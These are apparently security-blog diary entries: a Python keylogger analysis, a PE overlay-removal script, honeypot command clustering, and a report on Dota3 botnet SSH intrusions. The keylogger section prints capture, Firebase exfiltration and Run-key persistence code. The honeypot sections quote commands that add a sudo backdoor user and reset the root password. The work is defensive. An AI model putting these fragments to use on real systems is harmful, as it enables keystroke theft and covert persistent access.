Last week, I posted a diary about suspicious Python modules. One of them was Firebase [1], the cloud service provided by Google[2]. Firebase services abused by attackers is not new, usually, it’s used to host malicious files that will be available to download[3]. This is a nice location because who will think that a Google link is malicious?

Today, while reviewing my hunting results, I found an interesting Python script (again!) that relies on Firebase but this time to exfiltrate data. Unfortunately, the file was stand-alone and I missed the JSON file containing the credentials to connect to the Firebase account. The file "iLoveYou.py" has a low score on VT (2/65) (SHA256:ec88244d7b037306bdb53d60f2a709af13ca74d15937d9901c8cd90bc00720f6)[4]

The file is a classic keylogger. Very easy to implement in Python using pyinput[5]:

from pynput.keyboard import Key, Listener
...
with Listener(on_press=tus_basildi) as listener:
    listener.join()

Every key press will generate a call to the function tus_basildi(). Note: the variable names are based on Turkish words

This keylogger has been implemented in a “funny” way: Key presses are logged and stored in a temporary file. But the file will be exfiltrated daily at 23:59:

current_time = time.strftime("%H:%M")
if current_time == "23.59":
    if sayac == 0:
        blob = bucket.blob(bulut_path)
        blob.upload_from_filename(yerel_dosya)
        sayac = 1

Another funny fact: The script is buggy! Once the file has been exfiltrated at 23:59, the variable ‘savac’ will be set to 1 but never reset. If the script runs for over 24 hours, it will never exfiltrate the file again. Maybe the attacker expects the victim to log in every day?

Persistence is implemented classically via a Run key:

def reg_olustur(nereye_koyucam, adi_ne_bunun, ne_yapicak_bu_sey):
    elektar = winreg.OpenKey(winreg.HKEY_CURRENT_USER, nereye_koyucam, 0, winreg.KEY_WRITE)
    winreg.SetValueEx(elektar, adi_ne_bunun, 0, winreg.REG_SZ, ne_yapicak_bu_sey)
    winreg.CloseKey(elektar)

nereye_koycam = "Software\Microsoft\Windows\CurrentVersion\Run"
adi_ne_bunun = bilgisayar_adi
ne_yapicak_bu_sey = f"C:\Windows\System32\Tasks\iloveyou.exe"
reg_olustur(nereye_koycam, adi_ne_bunun, ne_yapicak_bu_sey)

The fact that an executable will be launched at login time, this Python script will probably be compiled. It should copy itself in the Tasks directory:

kaynak_dosya = 'iloveyou.exe'
hedef_dizin = 'C:\Windows\System32\Tasks'
shutil.copy(kaynak_dosya, hedef_dizin)

I tried to find the executable, without luck! But I found a previous version of the script, created a few days before (SHA256:43a4d56c11a12de13b8d2186daf5b00d793076fb47afcee5ecd0b327a634e150)

[1] https://pypi.org/project/firebase/
[2] https://firebase.google.com/solutions
[3] https://isc.sans.edu/diary/Recent+IcedID+Bokbot+activity/29740
[4] https://www.virustotal.com/gui/file/ec88244d7b037306bdb53d60f2a709af13ca74d15937d9901c8cd90bc00720f6
[5] https://pypi.org/project/pynput/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

There is a common technique used by attackers: They append some data at the end of files (this is called an overlay). This can be used for two main reasons: To hide the appended data from the operating system (steganography). By example, you can append a text file at the end of a JPEG image. When your favourite image viewer will process the picture, it will just ignore the "rogue" data. Here is a PNG picture that has a text file (dir output) added at the end:

The second reason is to defeat security controls and tools by creating a very big file. For performance reasons, many tools won't scan or inspect big files. So attackers will append data to increase the file size. Usually, data are just a suite of zeroes because the compression ration is excellent. Here is recent example of files that I discovered:

remnux@remnux:/MalwareZoo/20240910$ file 'Payment Confirmation.tgz'
Payment Confirmation.tgz: gzip compressed data, last modified: Tue Sep 10 06:05:16 2024, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 750001664 gzip compressed data, unknown method, ASCII, extra field, has comment, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 750001664
remnux@remnux:/MalwareZoo/20240910$ ls -l 'Payment Confirmation.tgz'
-rwx------ 1 remnux remnux 1167212 Sep 10 03:11 'Payment Confirmation.tgz'

The file is 1.1MB in size but it contains a pretty big executable (less common):

remnux@remnux:/MalwareZoo/20240910$ tar tzvf 'Payment Confirmation.tgz'
-rwxr-xr-x 0/0       750000000 2024-09-10 02:04 Payment Confirmation.exe

If you unpack and inspect the file manually, you'll see that it contains indeed a huge amount of NULL bytes:

remnux@remnux:/MalwareZoo/20240910$ xxd 'Payment Confirmation.exe'
...
00093fa0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00093fb0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00093fc0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00093fd0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00093fe0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00093ff0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094000: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094010: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000940a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000940b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000940c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000940d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000940e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000940f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094170: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094180: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094190: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000941a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000941b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000941c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000941d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000941e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000941f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094200: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094210: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094220: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094230: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094240: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094250: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094260: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094270: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00094280: 0000 0000 0000 0000 0000 0000 0000 0000  ................

From a Windows loader point of view, this is not an issue: it will just ignore all the bytes that are not interesting to execute the process. Thank you Microsoft!

How can you analyze the PE file without being annoyed by the overlay? Just remove it! If you can try to manipulate the file with your favourite text editor, there is an easy way to perform this task in a few lines of Python. A classic PE files looks like this (in a very simple way!): 

In the PE headers, you can find a list of all the sections present in the file with two parameters:

• The section offset (PointerToRawData)
• The section size (SizeOfRawData)

It's easy to get the overlay offset: PointerToRawData + SizeOfRawData. This value should be the end of the file. If the file size on disk is bigger, we have an overlay!

Python has a great module called pefile[1] that helps to investigate executables. I wrote a small script to remove an overlay from a PE file:

#!/usr/bin/python3
#
# Detects if a PE file has an overlay.
# If yes, it creates a new PE file without the extra data.
#
import os
import sys
import pefile

def detect_overlay(pe_filename):
    '''
    Detects and removes overlay from a PE file
    '''
    try:
        pe = pefile.PE(pe_filename)
    except Exception as e: 
        print(f"Can't open the PE file: {e}")
        return

    # Display sections
    print(f"{'Section Name':<15} {'Virtual Size':<15} {'Raw Size':<15} {'Raw Offset':<15}")
    print("="*58)
    for s in pe.sections:
        s_name = s.Name.decode('utf-8').rstrip('\x00')
        virtual_size = s.Misc_VirtualSize
        raw_size = s.SizeOfRawData
        raw_offset = s.PointerToRawData
        print(f"{s_name:<15} {virtual_size:<15} {raw_size:<15} {raw_offset:<15}")

    # The offset at which the PE sections end
    last_section = pe.sections[-1]
    end_of_pe = last_section.PointerToRawData + last_section.SizeOfRawData

    # The actual file size
    file_size = os.path.getsize(pe_filename)

    if file_size > end_of_pe:
        overlay_size = file_size - end_of_pe
        print(f"Overlay detected: {overlay_size} bytes")
        try:
            with open(pe_filename, 'rb') as infile:
                data = infile.read(end_of_pe)
        except Exception as e:
            print(f"Can't open {pe_filename}: {e}")
            return

        name, ext = os.path.splitext(pe_filename)
        new_pe_filename = f"{name}-clean{ext}"
        try:
            with open(new_pe_filename + "", 'wb') as outfile:
                outfile.write(data)
        except Exception as e:
            print(f"Can't write {new_pe_filename}: {e}")
            return
        new_file_size = os.path.getsize(new_pe_filename)
        print(f"New PE dumped: {new_pe_filename} (Size: {new_file_size})")
    else:
        print("No overlay detected")

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python3 overlay.py <pefilename>")
        sys.exit(1)

    detect_overlay(sys.argv[1])

Let's process our big PE file:

remnux@remnux:/MalwareZoo/20240910$ python3 overlay.py Payment-Confirmation.exe
Section Name    Virtual Size    Raw Size        Raw Offset     
==========================================================
.text           587568          587776          512            
.rsrc           1580            2048            588288         
.reloc          12              512             590336         
Overlay detected: 749409152 bytes
New PE dumped: Payment-Confirmation-clean.exe (Size: 590848)

Now, you can investigate the new sample as usual...

Be careful with overlays! Most of the time, they are just NULL bytes but they may contain useful data that will be used by the malware at execution time (configuration, shellcode, ...) 

The PE file was another XWorm... 

[1] https://pypi.org/project/pefile/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

YARA-X is not just a rewrite of YARA in Rust, it comes with new features too.

One of these features is the dump command: yr.exe dump ...

YARA-X can parse several file formats natively, to support file-format specific YARA rules. These parsers can also be invoked explicitly (without YARA rules for testing). The default output is YAML:

And JSON output is supported too:

Didier Stevens
Senior handler
blog.DidierStevens.com

YARA 4.5.2 was released with 3 small changes and 4 bugfixes.

Didier Stevens
Senior handler
blog.DidierStevens.com

In an earlier diary [1], I reviewed how using tools like DBSCAN [2] can be useful to group similar data. I used DBSCAN to try and group similar commands submitted to Cowrie [3] and URL paths submitted to the DShield web honeypot [4]. DBSCAN was very helpful to group similar commands, but it was also very useful when trying to determine whether commands from one honeypot were seen in another. How much overlap in attack data is there between honeypots? Is there any targeting based on the hosting location of the honeypot?

Once the data is separated into clusters and the appropriate EPS and Minsample values are selected, comparing the data in a table can help hightlight differences..
 

# query to pull out cluster with minsample=3, EPS=0.5

select sum(AWS), sum(Azure), sum("Digital Ocean"), sum(GCP), sum(Residential), sum(AWS + Azure + "Digital Ocean" + GCP + Residential) as total, 
count(input) , "cluster-EPS(0.5)-MINS(3)" from commands group by "cluster-EPS(0.5)-MINS(3)";

Figure 1: Cluster showing number of similar commands run on honeypots, highlighting gaps in other honeypot reports.

Looking at cluster 9 can give us more details on what may have been different.

# select command data from cluster 9
select input, sum(AWS), sum(Azure), sum("Digital Ocean"), sum(GCP), sum(Residential), sum(AWS + Azure + "Digital Ocean" + GCP + Residential) 
as total from commands where "cluster-EPS(0.5)-MINS(3)"=9;

# input value seen
apt update && apt install sudo curl -y && sudo useradd -m -p $(openssl passwd -1 233QPpqY) system && sudo usermod -aG sudo system

Going back to the source data, more information can be seen about the particular commands.

Figure 2: Commands that only showed up from the Azure honeypot.

FIgure 3: Differences between the commands is the password used

The original goal was to group similar commands, which worked well in this instance. The commands were all the same, except for the password used. In addition, the comparison of the cluster data helped demonstrate which information from one honeypot may not be in another.

Within the command clusters, there were other differences noted in my dataset:

apt update && apt install sudo curl -y && sudo useradd -m -p $(openssl passwd -1 233QPpqY) system && 
sudo usermod -aG sudo system

echo "Dolphinscheduler@2022\nkeSBVXNe9Y9k\nkeSBVXNe9Y9k\n"|passwd

lscpu && echo -e "CRN63r9D\nCRN63r9D" | passwd && curl https://ipinfo.io/org --insecure -s && 
free -h && apt

openssl passwd -1 233QPpqY

Figure 4: Commands or types of commands seen that were unique to a honeypot.

Some of the commands above are more unqiue due to the general commands used. In other examples, such as the second example from Digital Ocean, the password used is more of an outlier than others. There were many instances of "Dolphinscheduler@2022" that were not seen within other honeypots, although the general command was seen within other honeypots with different passwords used. The length of this password helped highlight this particular command as being unique, but it did generate its own cluster with different passwords that were similarly formatted.

Figure 5: Examples of "Dolphinscheduler@2022" seen within Digital Ocean honeypot commands.

These honeypot comparisons were part of a research project for a Master's in Cyber Security Degree with SANS.edu [5]. The custom package created to extract and compare local honeypot data is available on GitHub [6]. This includes how the cluster features were created and used [7].

[1] https://isc.sans.edu/diary/Finding+Honeypot+Data+Clusters+Using+DBSCAN+Part+1/31050
[2] https://scikit-learn.org/stable/modules/generated/sklearn.cluster.DBSCAN.html
[3] https://github.com/cowrie/cowrie
[4] https://isc.sans.edu/honeypot.html
[5] https://www.sans.edu/cyber-security-programs/masters-degree/
[6] https://github.com/jslagrew/dshield-parser/tree/main/examples
[7] https://github.com/jslagrew/dshield-parser/blob/main/examples/url-command-clustering.py

--
Jesse La Grew
Handler

[This is a Guest Diary by Paul Olson, an ISC intern as part of the SANS.edu BACS program]

Introduction

Starting my internship with SANS Internet Storm Center [1] was daunting from the aspect of being unsure of what to expect. Over the years I’ve completed several SANS courses and have become comfortable with that experience; there is a flow to the courses and the SANS instructors exceed my expectations.  In this respect, the ISC Internship is a completely different animal; it presents a more hands-on learning opportunity, requires more self-reliance, and provides a greater element of unpredictability than I have found in SANS course labs.  With more of the Internship work behind me than in front of me I can say that I have gotten more out of this internship than I have from other similar experiences.

Some of my concerns were about the ‘unknown unknowns’ [2].  Setting up the DShield honeypot [3] was straightforward exercise; my biggest worry was meeting the objectives of the Internship.  Over the years that I have had broadband Internet I have periodically reviewed the logs generated by my home firewall.  The firewall logs didn’t provide a wealth of information (event time, source and destination IP, protocol and ports involved, etc.).  My concern became “How am I going to produce seven attack observation reports out of this?  Who is going to bother with this device connected in a basement to a broadband network in North Dakota, US?”.

As it turns out that wasn’t going to be an issue.  This newly-minted honeypot was remotely interacted with over 1,600 times from 169 distinct IP addresses on the first day; the device currently averages 17,000 probes daily.  Reviewing the honeypot logs, one of the first lessons I learned from the Internship is that there are vast differences between a single-dimension firewall log and the level of detail in the data the honeypot captures when it is probed.

The next challenge was to make some sense of the data and figure out where to begin my analysis.  As I started to dig in, I used tools mentioned in recent SANS classes or in ISC diary entries.  That list includes jq, python, bash, command-line tools such as grep/egrep, sort, awk, PowerShell, some web-based Json-to-csv parsers [4] [5], VirusTotal [6], Joe Sandbox [7], Shodan [8], Mitre ATT&CK [9], and Microsoft Excel.  I have learned how to use the tools (and a little on how not to use the tools) to analyze and understand various command sequences.  Lately I have been working with Python to filter the data and isolate records of interest.  That data is loaded into an Excel spreadsheet for analysis, tables and graphs are created to help visualize the event.  I can use the graphs when I create my report. 

The next part of the puzzle was to figure out how to efficiently utilize those tools.  What am I looking for? What is that next question I should ask? While reviewing log data to identify an interesting set of logs to investigate I found that the ‘Five Ws’ (Who, What, When, Where, Why, How) approach [10] helped organize my investigation.  Answering those questions provided direction and led to asking more useful follow-up questions.  I found that often these ‘W’ questions will be asked in an order that will organically develop based on how each investigation unfolds.  This methodical approach is one that helps me save time and produce a better analysis of the events.  I have found that I often ‘loop back’ to re-ask earlier questions because the answer to some other question provided more clarity or insight. This analysis process is an iterative exercise.

The remainder of this blog post is largely a narrative of a recent event sequence I found in my logs.  As the events unfold in the following sections of the document, I will add some commentary about the process I followed.  I start with the ‘W’ questions, and the answers sometimes point to the next step in the process.

Who | What | When | Where | Why | How | How Long

The honeypot always receives many Telnet/SSH probes, but a series of events appeared that followed a distinct pattern. This is the identification of the incident, this is the 'what' that is happening. 

At a high level, the sequence I started investigating was: 

1. The actor authenticates to the system using a username/password using the root account [a] [j].
2. Several commands are executed by the actor to secure access to the device [b].
   • Remove the existing .ssh directory and contents, then create a new public key to enable certificate-based authentication [c].
   • Change the root account password to a random 12-character value [d].
   • Recursively removing the files /tmp/secure.sh [11] and /tmp/auth.sh [e].
3. The actor launched various commands to profile the system/hardware [f].

Analyzing the command sequence can help us shed some light on the goal of the attack. For this series of events the commands used (after authenticating to the honeypot via SSH) were:

The next step (not captured by the honeypot but identified through research) would be for the actor to upload a file named dota3.tar.gz via SFTP [13].  The actor would execute base-64 encoded command to initialize the malware. Assimilation complete [14] [e] [g] [h] [i].

Who | What | When | Where | Why | How | How Long

Since I had a fair amount of information about the command sequence I next tried to identify the actor. I treated the construction of the key string used to replace the .ssh/authorized_keys file that was placed in the system to gain persistence as an IoC (Indicator of Compromise) [c] [12]. This IoC matched attacks attributed to the ‘Dota’ family of botnets.  The Dota botnet targets IoT devices running SSH servers that use default or poorly chosen passwords.  Once the actor gains access to the device they begin to profile the system, followed by uploading and executing malware on the device to add it to the botnet [i].  The Firm CounterCraft has internally labeled this actor as ‘CC0631’ [13], but at the time of this writing the actual identity of the threat actor has yet to be determined.

Who | What | When | Where | Why | How | How Long

We can summarize the Why of this attack as a desire to ‘assimilate’ this device into a botnet army. Once the actor has assembled their army, we can only assume that they will use it for future (malicious but money-making) activities, such as crypto currency mining, DDOS attacks, spam distribution, data theft, etc.  The Dota3 botnet has been linked to crypto jacking [15], deploying the XMRig [16] agents to compromised systems, indicating that the purpose of the botnet is to engage in crypto mining [13].

Who | What | When | Where | Why | How | How Long

Once I had something to look for, I needed to find the ‘When’, or the period between the first and last detected instances of this attack sequence in the logs. This will help me get my arms around the data I need from the event to produce a more complete analysis. I continued to find instances of this attack sequence as I searched through older log files.  In my honeypot I was able to set the start date to 10 June 2024 and the end date to 11 August 2024 (the date I was doing my analysis; these attacks continue to this day).  This would reflect my local ‘How Long’ period as well, at least from my honeypot’s perspective.  Knowing this date range is a key detail necessary to identify the scope of the activity.

Who | What | When | Where | Why | How | How Long

The earliest mention that I can find is that this variant of the Dota botnet was detected in December of 2019 [17], but there are conflicting reports with other sources listing an October 2021[13] identification date.  Not a conclusive answer, but in this case the How Long for this botnet’s existence could be between 3 and 5 years.

Who | What | When | Where | Why | How | How Long

The next steps are to continue analysis of the data to gain more understanding about the scope and scale of the operation and try to identify aspects of ‘how’ the actor works.  For instance, an interesting aspect of an incident is to understand if this is a manual process or if it is automated.  

There are a few attributes of an attack sequence that can help with this identification, namely:

• The Volume or rate of activity occurring in a window of time, 
• The Geographic locations of attacking systems (analyze the involved IP addresses, locations, reuse), and 
• The Session Time or the length of an attack session compared to the complexity of the commands.  

From my perspective, my local ‘When’ and ‘How Long’ attributes allowed me to identify activity from over 10,000 probes. The logs showed 42% of the probes were initially unsuccessful. This activity resulted in a total of 5,873 successful SSH authentications to the honeypot that fit the same subsequent command sequence. Crunching the data (i.e., I used Python to isolate the data elements, Excel to do the math and create the graphics), the following attributes can be identified:

Volume: The volume / rate of successful authentications during the period of 10 June to 11 August (62 days) would be 5,873/62, or 94.73 incidents per day (one every 4 hours).  

Another way to evaluate the event frequency is to identify how many occur during a given hour over a period of time.  Think of each hour as a bucket, and for each day add the number of attacks for that hour to that ‘bucket’.  (This type of analysis is often used to analyze network traffic to identify potential ‘beaconing’, or command and control activity.) For this attack, after 62 days the hourly event distribution graph looks like:

For example, as shown in the chart above, the peak hour across the date range was 16:00UTC with 399 successful authentications, the ‘slowest hour is 22:00UTC with 131 authentications, and the average hourly event rate approaches 245. This trend indicates a 24x7 operation.

These findings (overall rate of attack and rate of attack per hour) are indications of an automated operation.

Who | What | When | Where | Why | How | How Long

Geographic Location: Next, I worked to find the number of systems used in the probe- and the country in which they are hosted.  The successful probes originated from 2,464 IP addresses in 94 different ISO codes.  This is another sign of an automated operation. As listing all 2,464 distinct IP addresses in this document would not be useful, this table shows the top 20 IP addresses by number of successful authentications from that address:

The data in the table above tends to show a distributed event due to the number of IP addresses used and the geographic range (ISO codes (countries)) over which the addresses are hosted. Many of the IP addresses appear only once in my honeypot logs. This is displayed graphically in the chart below (#IP addresses in the ‘Y’ axis vs # times used in the ‘X’ axis):

I mentioned earlier that the probes originated from 94 different ISO codes (countries) [18]. The table below displays the top 20 hosting countries.  The countries in this list hosted the systems responsible for 88% of all attack sessions:

Excel has many graphs to help display and convey information visually. I tried and rejected different attempts, including bar charts, line charts, and the usually reliable pie chart. I found that I could not clearly convey this information using those standard charts.  Thinking about the worldwide aspect of this dataset led me to try to figure out how to create a graph from a map.  Three minutes with a search engine [19] and another four minutes with Excel helped create this suitable-for-framing chart that helps illustrate the global nature of the attacks:

Of the 249 countries, territories, or areas of geographical interest [18] with ISO codes, 38% show up in my dataset and are highlighted in the chart above.

Session time:  The approach I took was to analyze the amount of time each attack took from the point of authentication to the end of the command sequence.  The session time is easy to calculate, but I also wanted to obtain a measure of the amount of work completed by the actor during each session. A lot of keypresses during a short amount of time would indicate that there is automation being employed. There are some practical challenges with this approach that I will call out below.

• Session Time = Session end time – Session start time in seconds (s)   
• Command sequence: 1103 characters (c) (13 logon + 1088 ‘command’ characters).  
• From a worldwide perspective 
  • The average session time was 18.49s 
  • Maximum session time of 182.5s, Minimum length of 6.1s. 
  • 1103c / 18.49s per session = 59 cps (characters per second)
  • 59cps ~= 720 words per minute
• From a US-based IP address:
  • The average session time was 14.19s 
  • Maximum session time of 112.2s, Minimum length of 6.1s
  • 1103c / 14.19s per session = 74 cps
  • 74 cps ~= 888 words per minute

In graphical form (using Excel) the difference between the US-based attacks and worldwide attacks is displayed below; you can nearly see the US average of 14.19s in the chart on the left vs the world average of 18.49s in the chart on the right as a virtual horizontal line denoting those averages in each graph:

As noted above, this process is not entirely accurate; there are external factors that impact the measurement.  For instance, the amount of time it takes for the honeypot to process and respond to the command, the processing capacity of different source devices, and the variability in the network ‘speed’ between the actor and the victim are not taken into account with this process. 

Leaving those issues aside for a moment, these results still show that the attacks were automated; the data shows the ‘typist’ was working at speeds exceeding 720 words/minute.  If the three impacting factors mentioned above are taken into account, the typing rate (in words per minute) would increase.

The conclusion drawn (from a Volume, Geographic Dispersion, and Session Timing perspective) also supports a conclusion that this is an automated activity.  The scale of the event (number of IP addresses, number of host countries) further indicates that this is likely a botnet operated by a threat actor group; it would take more effort to collect and maintain a fleet of bots this size than one person could be expected to support.

Other interesting aspects of the event I decided to investigate are the accounts targeted, the variety in the types of passwords used to authenticate, and an analysis of the new passwords used to secure the root account. 

In this case, the event targeted the root account most often (99.5%) [j].  A small number of user accounts were targeted by the actor at a much lower rate: 

• ‘roots’, 
• ‘root1’, 
• ‘root2’, 
• ‘webroot’, and 
• ‘root01’.

While probing the system the actor used 1,314 unique passwords to authenticate using SSH [a]. Passwords were often reused when trying to initially authenticate, only 229 passwords were used one time.  This activity is consistent with an organized password-spray attack, using one password to try authentication against multiple targets in one ‘pass’ [k]. The password re-use graph (below) matches the general form of the IP address graph presented above; the number of reused passwords (‘Y’ axis) decreases with the number of usages (‘X’ axis):

The fourth step in the command sequence was an attempt by the actor to gain persistence on the device by changing the password of the system account to a new value.  Of the 5,873 password changes to the ‘root’ user account, 5,759 passwords were unique, re-using only 119 passwords.  The new password values had the same format; all were 12-character strings consisting of random uppercase, lowercase, and numeric characters [d].

Attack Observation Report Generation

At this point, all ‘W’ and follow-up questions have been identified, asked, and answered, and it is time to pull all of the collected information together to produce an Attack Observation report. This report includes a summary of observations using text, tables, and graphs (actor info, IoCs, command patterns, impact, Mitre techniques [20], proposed recovery steps) as well as information about mitigating controls that could be implemented to prevent future attacks. The report content is distilled down to ‘just the facts’, as the purpose of an Attack Observation report is to be more direct and focused than a blog post.  

You may find that the process of creating an Attack Observation report will raise additional questions that must be answered to arrive at a more complete ‘picture’. This is the iterative part of the analysis process I mentioned earlier.  Lather, rinse, repeat…

For this Attack Observation report

Who? – This command pattern has been reliably attributed as belonging to the ‘Dota3’ botnet [21], and the CounterCraft company has labeled the actor ‘CC0631’ [13], but very little about this threat actor is known at this time [i]. 

What? – The Dota3 botnet targets SSH servers with weak credentials.  The goal is to compromise the system, obtain persistence, and install malware on the device for malicious activities such as crypto mining of digital currency [17] [a] [b] [c] [d] [e] [f] [g] [j] [k].

Where? – This is a global event.  5,873 successful authentications/probes over 62 days using 2,464 distinct IP addresses (systems) hosted in 94 different countries. The scope and scale of the operation indicates that this is controlled by a threat group. General botnet activity is also on the rise globally [22] [i].

When? – The events started on 10 June 2024 and data through 11 August 2024 is included in the report.  

Why? – The ‘why’ is to specifically identify weak SSH servers, gain root access, obtain persistence, and install malware.  There are indications that this activity is related to mining crypto currency (crypto jacking) [13] [23] [h] [i].

How? – Is this an automated event, or is this a one-off manual effort?  To get this answer I review the various rates of attack, identify the locations participating in the probes, and inspect the different commands used.  This can help identify if this is an automated event or not and can also potentially shine a light on the actor.  Additionally, mitigating steps can be identified to block or deflect the malicious traffic. This activity was characterized as an organized, automated attack.

How Long? – Research uncovered that the Dota3 malware variant has been active since at least October of 2021 [13]; there are reports that move that date back to as early as December of 2019 [17].  Conservatively, the variant has been active for 3 years. As of this writing these attacks are still targeting my honeypot.
Prevention: Botnets will exist as long as the actor’s efforts: 

• are financially lucrative, 
• remain technically possible, and 
• are not derailed by the incarceration.  
• The operation of a botnet would be affected if one of those three items is changed.  

The information collected in this Attack Observation report can be used to prevent or to reduce the technical feasibility of future attacks.  

• A list of potential controls could be compiled and provided to the company’s IT Architecture, Design, and Implementation teams to help them build preventative measures into projects.  Future systems and services will be deployed with a more secure architecture and configuration. 
• Methods to detect a compromised device would be extremely useful as well; Security Operations staff could employ that information to identify, contain, and eradicate malicious actors from the company’s systems. 
• Additionally, the company’s GRC (Governance, Risk, and Compliance) team can use these findings when reviewing the company’s control library, either adding new controls or ensuring that existing controls are applied where appropriate.  Future audits can be completed to help the company manage operational risk.

Conclusion:  This is a preventable attack.  Systems with strong password controls would not be susceptible to this activity.  If we were in a corporate environment, the next steps would be to:

1.    Identify security gaps.
2.    Plan to evaluate all IoT devices that are accessible from the Internet.  
3.    Log into each device.

• If you cannot log into the device, schedule a replacement or closer inspection for the system; it may be compromised.
  • When deploying the replacement device, ensure that it is sufficiently protected from remote authentication attacks.
• If you can log into the device, implement controls to improve the configuration hygiene and secure the device.
  • Ensure that at a minimum the passwords are unique per device and ‘strong’ enough.

4.    Repeat until complete.
5.    Report findings to the appropriate groups.
6.    Implement a practice to periodically audit these systems to ensure that any compromised devices are identified and recovery steps are taken.

In this case eleven security (hygiene) controls that can be implemented to reduce IoT attacks:

1.    Do not expose unprotected IoT devices to the Internet. If it isn’t accessible, it can’t be assimilated.
2.    Implement IoT devices behind a bastion host [24] or a firewall.
3.    Restrict logon access to known IP addresses, ports, and protocols with filtering rules on the firewall or router.
4.    Implement VPN access to your systems with strong passphrases and multifactor authentication.
5.    Ensure that IoT systems are patched and software is up to date [25].
6.    Ensure that the device has a secure configuration.
7.    Do not allow privileged accounts (i.e., root) to have SSH access.
8.    Do not use simple passphrases for SSH authentication, utilize public/private authentication keys with a passphrase
9.    Ensure that passphrases are long and are strong (comprised of (at least seemingly) random characters).
10.    Do not re-use passwords across devices.
11.    Monitor IoT devices.

Summary

It is now time to close a loop and explain the title of this article (“Hygiene, Hygiene, Hygiene”). 

The old joke “What are the three most important things to know about real estate? Answer:  Location, Location, Location!” could be modified and applied to this situation: “What are the three most important steps to take to protect my systems? The answer to that question is: Hygiene, Hygiene, Hygiene!”.  The new joke works as well as the original; the ‘corniness’ is maintained and the answer provides a hint of the solution.  

In a perfect world, the ‘Hygiene’ process begins with a threat assessment, the results of which are integrated into project planning and design phases.  Pilot systems are built and tested, issues are identified and solutions are fed back into the design process. During the deployment phase of the project tests are performed and systems are monitored to ensure that the product remains true to the plan.  After deployment is complete, the operational system is periodically subjected to monitoring, auditing, testing, and adjustments are made as necessary.  This approach is difficult, takes time, and increases project cost, which are all reasons our systems are vulnerable to botnets today.

Since we are often not in a perfect world we often must circle back and apply hardening (hygiene) changes to in-production systems.  This process is not inexpensive nor easy to do, but if even a few improvements can be made the system will be less likely to fall to compromise.  

There is a relationship between the answer to that original joke (i.e., ‘Location’) and a concern I had related to satisfying the requirements of the ISC Internship. I was concerned that the Internet that serviced my little corner of the world was somehow as secluded as it was geographically, which would make it difficult to complete the assignments. That has not been the case. Another valuable lesson from this experience is that there are no hidden corners of the Internet. In real life, newly connected devices are discovered within a few minutes, and poorly protected systems (i.e., low-hanging fruit) are often compromised a few minutes later. 

The ISC Internship is an intensive experience. In the end, as with any meaningful undertaking, you get out of it what you put into it. I have learned a lot about configuration hygiene, IoT weaknesses, data analysis, tool development / scripting, and have a deeper appreciation for the work that goes in analyzing an incident and creating an attack observation report.  I can’t think of a better way to gain this experience; this Internship provides an opportunity to roll up your sleeves and dig in.

Identified Mitre ATT&CK Techniques

[a] Mitre ATT&CK: Brute Force.Password Guessing (T1110.001) - Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. [23]
[b] Mitre ATT&CK: Command and Scripting.Unix Shell (T1059.004) - Adversaries may abuse Unix shell commands and scripts for execution. [23]
[c] Mitre ATT&CK: Account Manipulation.SSH Authorized Keys (T1098.004) - Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. [23]
